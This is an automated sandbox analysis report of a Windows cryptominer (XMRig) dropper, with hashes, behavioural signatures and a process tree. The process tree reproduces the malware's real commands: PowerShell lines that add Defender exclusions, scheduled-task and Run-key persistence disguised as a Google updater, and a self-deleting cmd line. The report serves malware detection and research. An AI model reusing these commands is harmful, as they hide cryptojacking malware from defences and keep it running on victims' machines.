Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...Et.exe
windows7-x64
10grhsghsGHs...KX.exe
windows7-x64
10grhsghsGHs...Qp.exe
windows7-x64
10grhsghsGHs...ep.exe
windows7-x64
10grhsghsGHs...5e.exe
windows7-x64
10grhsghsGHs...EP.exe
windows7-x64
10grhsghsGHs...pS.exe
windows7-x64
10grhsghsGHs...HZ.exe
windows7-x64
10grhsghsGHs...Sj.exe
windows7-x64
10grhsghsGHs...Nq.exe
windows7-x64
10grhsghsGHs...Ey.exe
windows7-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
403s -
max time network
1797s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
25-01-2024 16:55
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/anDwkygzqtN6BKEt.exe
Resource
win7-20231129-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/bW3Td8vedKuGbSKX.exe
Resource
win7-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/cZ8JugqVuxAY52Qp.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/h5JMkDJvUkEMMWep.exe
Resource
win7-20231129-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/qM5GMXBk6hJE6Y5e.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/rUqNxUB6WWxdsfEP.exe
Resource
win7-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/rkUvkExvRhkxKUpS.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/u3GgbfA2e32fHMHZ.exe
Resource
win7-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/xQQTm7rAusnqpUSj.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/xxgg94VsN5GYyJNq.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/cZ8JugqVuxAY52Qp.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
cZ8JugqVuxAY52Qp.exeupdater.execonhost.exedescription pid process target process PID 1884 created 1400 1884 cZ8JugqVuxAY52Qp.exe Explorer.EXE PID 1884 created 1400 1884 cZ8JugqVuxAY52Qp.exe Explorer.EXE PID 1884 created 1400 1884 cZ8JugqVuxAY52Qp.exe Explorer.EXE PID 1884 created 1400 1884 cZ8JugqVuxAY52Qp.exe Explorer.EXE PID 1908 created 1400 1908 updater.exe Explorer.EXE PID 1908 created 1400 1908 updater.exe Explorer.EXE PID 1908 created 1400 1908 updater.exe Explorer.EXE PID 1908 created 1400 1908 updater.exe Explorer.EXE PID 1136 created 1400 1136 conhost.exe Explorer.EXE PID 1908 created 1400 1908 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral19/memory/2024-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral19/memory/2024-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2472 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1908 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2956 taskeng.exe -
Processes:
resource yara_rule behavioral19/memory/2024-68-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral19/memory/2024-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 1908 set thread context of 1136 1908 updater.exe conhost.exe PID 1908 set thread context of 2024 1908 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
cmd.execmd.execZ8JugqVuxAY52Qp.exeupdater.exedescription ioc process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe cZ8JugqVuxAY52Qp.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 3040 schtasks.exe 2776 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e032e324b44fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
cZ8JugqVuxAY52Qp.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1884 cZ8JugqVuxAY52Qp.exe 1884 cZ8JugqVuxAY52Qp.exe 3032 powershell.exe 1884 cZ8JugqVuxAY52Qp.exe 1884 cZ8JugqVuxAY52Qp.exe 2652 powershell.exe 1884 cZ8JugqVuxAY52Qp.exe 1884 cZ8JugqVuxAY52Qp.exe 1884 cZ8JugqVuxAY52Qp.exe 1884 cZ8JugqVuxAY52Qp.exe 2468 powershell.exe 1908 updater.exe 1908 updater.exe 1468 powershell.exe 1908 updater.exe 1908 updater.exe 1448 powershell.exe 1908 updater.exe 1908 updater.exe 1908 updater.exe 1908 updater.exe 1136 conhost.exe 1136 conhost.exe 1908 updater.exe 1908 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 3032 powershell.exe Token: SeDebugPrivilege 2652 powershell.exe Token: SeDebugPrivilege 2468 powershell.exe Token: SeDebugPrivilege 1468 powershell.exe Token: SeDebugPrivilege 1448 powershell.exe Token: SeDebugPrivilege 1908 updater.exe Token: SeAssignPrimaryTokenPrivilege 1768 WMIC.exe Token: SeIncreaseQuotaPrivilege 1768 WMIC.exe Token: SeSecurityPrivilege 1768 WMIC.exe Token: SeTakeOwnershipPrivilege 1768 WMIC.exe Token: SeLoadDriverPrivilege 1768 WMIC.exe Token: SeSystemtimePrivilege 1768 WMIC.exe Token: SeBackupPrivilege 1768 WMIC.exe Token: SeRestorePrivilege 1768 WMIC.exe Token: SeShutdownPrivilege 1768 WMIC.exe Token: SeSystemEnvironmentPrivilege 1768 WMIC.exe Token: SeUndockPrivilege 1768 WMIC.exe Token: SeManageVolumePrivilege 1768 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1768 WMIC.exe Token: SeIncreaseQuotaPrivilege 1768 WMIC.exe Token: SeSecurityPrivilege 1768 WMIC.exe Token: SeTakeOwnershipPrivilege 1768 WMIC.exe Token: SeLoadDriverPrivilege 1768 WMIC.exe Token: SeSystemtimePrivilege 1768 WMIC.exe Token: SeBackupPrivilege 1768 WMIC.exe Token: SeRestorePrivilege 1768 WMIC.exe Token: SeShutdownPrivilege 1768 WMIC.exe Token: SeSystemEnvironmentPrivilege 1768 WMIC.exe Token: SeUndockPrivilege 1768 WMIC.exe Token: SeManageVolumePrivilege 1768 WMIC.exe Token: SeLockMemoryPrivilege 2024 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2652 wrote to memory of 3040 2652 powershell.exe schtasks.exe PID 2652 wrote to memory of 3040 2652 powershell.exe schtasks.exe PID 2652 wrote to memory of 3040 2652 powershell.exe schtasks.exe PID 2472 wrote to memory of 2560 2472 cmd.exe choice.exe PID 2472 wrote to memory of 2560 2472 cmd.exe choice.exe PID 2472 wrote to memory of 2560 2472 cmd.exe choice.exe PID 2468 wrote to memory of 2848 2468 powershell.exe schtasks.exe PID 2468 wrote to memory of 2848 2468 powershell.exe schtasks.exe PID 2468 wrote to memory of 2848 2468 powershell.exe schtasks.exe PID 2956 wrote to memory of 1908 2956 taskeng.exe updater.exe PID 2956 wrote to memory of 1908 2956 taskeng.exe updater.exe PID 2956 wrote to memory of 1908 2956 taskeng.exe updater.exe PID 1448 wrote to memory of 2776 1448 powershell.exe schtasks.exe PID 1448 wrote to memory of 2776 1448 powershell.exe schtasks.exe PID 1448 wrote to memory of 2776 1448 powershell.exe schtasks.exe PID 1908 wrote to memory of 1136 1908 updater.exe conhost.exe PID 1192 wrote to memory of 1768 1192 cmd.exe WMIC.exe PID 1192 wrote to memory of 1768 1192 cmd.exe WMIC.exe PID 1192 wrote to memory of 1768 1192 cmd.exe WMIC.exe PID 1908 wrote to memory of 2024 1908 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\cZ8JugqVuxAY52Qp.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\cZ8JugqVuxAY52Qp.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\cZ8JugqVuxAY52Qp.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {9A5AE5AF-AECA-4007-A5F1-1C4C022A808D} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
408KB
MD500c9a5ba53ac2a6facc8d1a1f4714e89
SHA115f9d3f8c0febefc9ae5d1c6d464c52c0fd55ca5
SHA256de6c76e149c26382b3f46539221bb1b6b00be88406a119e861d81989f8581ddd
SHA512a2717c77422d7d5cdbd7d1c0905e3b701303d35c2c9f403b63a0d3a62f32f8b91bcf21ebf5cf0d689a10a4f157aa1732ddd02d37dfed0784c5e53254aca4de5d
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C:\Program Files\Google\Chrome\updater.exeFilesize
114KB
MD5580cbaf8c3d59c38d1a235eb718bf3e1
SHA163660fedd9bcdfc362188d2cedcc2b064736a6e6
SHA256776b40bd6058f1ed35ab922966143d7f5a9718b3bc0513c2c1b17ed9c7548dd4
SHA512020aeffc864a02c8586d5df8322db6307154adcee4dd2725e902d0d96e354b18902ca7dc3a6937f1ab09dd0dfc186471a9f9d11feee50feef03623ef1e176a00
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\R8MPMNII93VPZDCQM5PE.tempFilesize
7KB
MD5ce377e627ec4bfb9a2caf8cec49b4a67
SHA18438aa6c43f543b92a3dd57597f05484e8946152
SHA256d7ef6f7eb6d330bcbdf13f75f9f91bb4c18505ae3bf53cbfe75d1598db72a904
SHA51229e8ca5d4eb34c71000aa69fd9d61fb8ac4adcfe5bd739acb3425acffb44a7c7c9f645a660466f6500b2e44317746cf35e812260463cf61c20bdc53180f50801
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\Program Files\Google\Chrome\updater.exeFilesize
236KB
MD5f32bb9383265cb0f6e8bb43c58399e5f
SHA1c1136bc365d4b65d535a7aff2bedc140f2c43c4f
SHA256c4f30bf44c020f3d6fb7b4f252db853035f9071883b16bdfba5a75a69ea61deb
SHA51285a81ab581a62e1683566a69613cea5f343f20e89772c66a8763b7d130d9457e24c8146f3dcddb8947395e99bd97d1d3bf6899a7be6dd3d16ef8fbf167b90dc4
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memory/1136-76-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
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memory/1136-71-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
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memory/1448-58-0x0000000000940000-0x00000000009C0000-memory.dmpFilesize
512KB
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memory/1448-53-0x000007FEF5730000-0x000007FEF60CD000-memory.dmpFilesize
9.6MB
-
memory/1448-57-0x0000000000940000-0x00000000009C0000-memory.dmpFilesize
512KB
-
memory/1448-56-0x0000000000940000-0x00000000009C0000-memory.dmpFilesize
512KB
-
memory/1448-59-0x000007FEF5730000-0x000007FEF60CD000-memory.dmpFilesize
9.6MB
-
memory/1448-55-0x000007FEF5730000-0x000007FEF60CD000-memory.dmpFilesize
9.6MB
-
memory/1448-54-0x0000000000940000-0x00000000009C0000-memory.dmpFilesize
512KB
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memory/1468-52-0x000007FEF4D90000-0x000007FEF572D000-memory.dmpFilesize
9.6MB
-
memory/1468-48-0x0000000001580000-0x0000000001600000-memory.dmpFilesize
512KB
-
memory/1468-49-0x0000000001580000-0x0000000001600000-memory.dmpFilesize
512KB
-
memory/1468-50-0x0000000001580000-0x0000000001600000-memory.dmpFilesize
512KB
-
memory/1468-51-0x0000000001580000-0x0000000001600000-memory.dmpFilesize
512KB
-
